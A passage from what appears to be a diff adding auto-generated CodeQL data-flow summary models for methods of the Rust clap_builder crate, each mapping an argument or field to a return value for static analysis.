"::hide_possible_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_short_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ignore_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::last", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_line_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::num_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::number_of_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::overrides_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::overrides_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::require_equals", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq_any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present_any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_if", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_ifs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::trailing_var_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::use_value_delimiter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_delimiter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_hint", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_names", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_parser", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_terminator", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_id", "Argument[self].Field[crate::builder::arg_group::ArgGroup::id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_multiple", "Argument[self].Field[crate::builder::arg_group::ArgGroup::multiple]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_required_set", "Argument[self].Field[crate::builder::arg_group::ArgGroup::required]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[0]", "Argument[self].Field[crate::builder::arg_group::ArgGroup::multiple]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[0]", "ReturnValue.Field[crate::builder::arg_group::ArgGroup::multiple]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "Argument[self].Field[crate::builder::arg_group::ArgGroup::required]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::builder::arg_group::ArgGroup::required]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::about", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::after_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::after_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_external_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_hyphen_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_missing_positional", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_negative_numbers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg_required_else_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args_conflicts_with_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args_override_self", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::author", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::before_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::before_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bin_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[0]", "Argument[self].Field[crate::builder::command::Command::deferred].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[0]", "ReturnValue.Field[crate::builder::command::Command::deferred].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_help_subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_version_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::dont_collapse_args_in_usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::dont_delimit_trailing_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::external_subcommand_value_parser", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::flatten_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_about", "Argument[self].Field[crate::builder::command::Command::about].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_after_help", "Argument[self].Field[crate::builder::command::Command::after_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_after_long_help", "Argument[self].Field[crate::builder::command::Command::after_long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_before_help", "Argument[self].Field[crate::builder::command::Command::before_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_before_long_help", "Argument[self].Field[crate::builder::command::Command::before_long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_display_order", "Argument[self].Field[crate::builder::command::Command::disp_ord].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_external_subcommand_value_parser", "Argument[self].Field[crate::builder::command::Command::external_value_parser].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help_template", "Argument[self].Field[crate::builder::command::Command::template].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_keymap", "Argument[self].Field[crate::builder::command::Command::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_long_about", "Argument[self].Field[crate::builder::command::Command::long_about].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_override_help", "Argument[self].Field[crate::builder::command::Command::help_str].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_override_usage", "Argument[self].Field[crate::builder::command::Command::usage_str].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_short_flag", "Argument[self].Field[crate::builder::command::Command::short_flag]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::global_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_expected", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_template", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_possible_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ignore_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_long_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_about", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_help_exists", "Argument[self].Field[crate::builder::command::Command::long_help_exists]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::max_term_width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multicall", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_line_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::no_binary_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::override_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::override_usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::propagate_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_negates_reqs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_precedence_over_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_value_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::term_width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::trailing_var_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_global_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help", "Argument[self].Field[crate::builder::possible_value::PossibleValue::help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[0]", "Argument[self].Field[crate::builder::possible_value::PossibleValue::hide]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[0]", "ReturnValue.Field[crate::builder::possible_value::PossibleValue::hide]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_hide_set", "Argument[self].Field[crate::builder::possible_value::PossibleValue::hide]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::end_bound", "Argument[self].Field[crate::builder::range::ValueRange::end_inclusive]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::start_bound", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::max_values", "Argument[self].Field[crate::builder::range::ValueRange::end_inclusive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::min_values", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::num_values", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[0]", "ReturnValue.Field[crate::builder::range::ValueRange::start_inclusive]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[1]", "ReturnValue.Field[crate::builder::range::ValueRange::end_inclusive]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::util::id::Id(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::builder::str::Str::name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference.Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0]", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::error]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::error]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_error", "Argument[self].Field[crate::builder::styling::Styles::error]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_header", "Argument[self].Field[crate::builder::styling::Styles::header]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_invalid", "Argument[self].Field[crate::builder::styling::Styles::invalid]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_literal", "Argument[self].Field[crate::builder::styling::Styles::literal]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_placeholder", "Argument[self].Field[crate::builder::styling::Styles::placeholder]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_usage", "Argument[self].Field[crate::builder::styling::Styles::usage]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_valid", "Argument[self].Field[crate::builder::styling::Styles::valid]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::header]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::header]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::invalid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::invalid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::literal]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::literal]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - 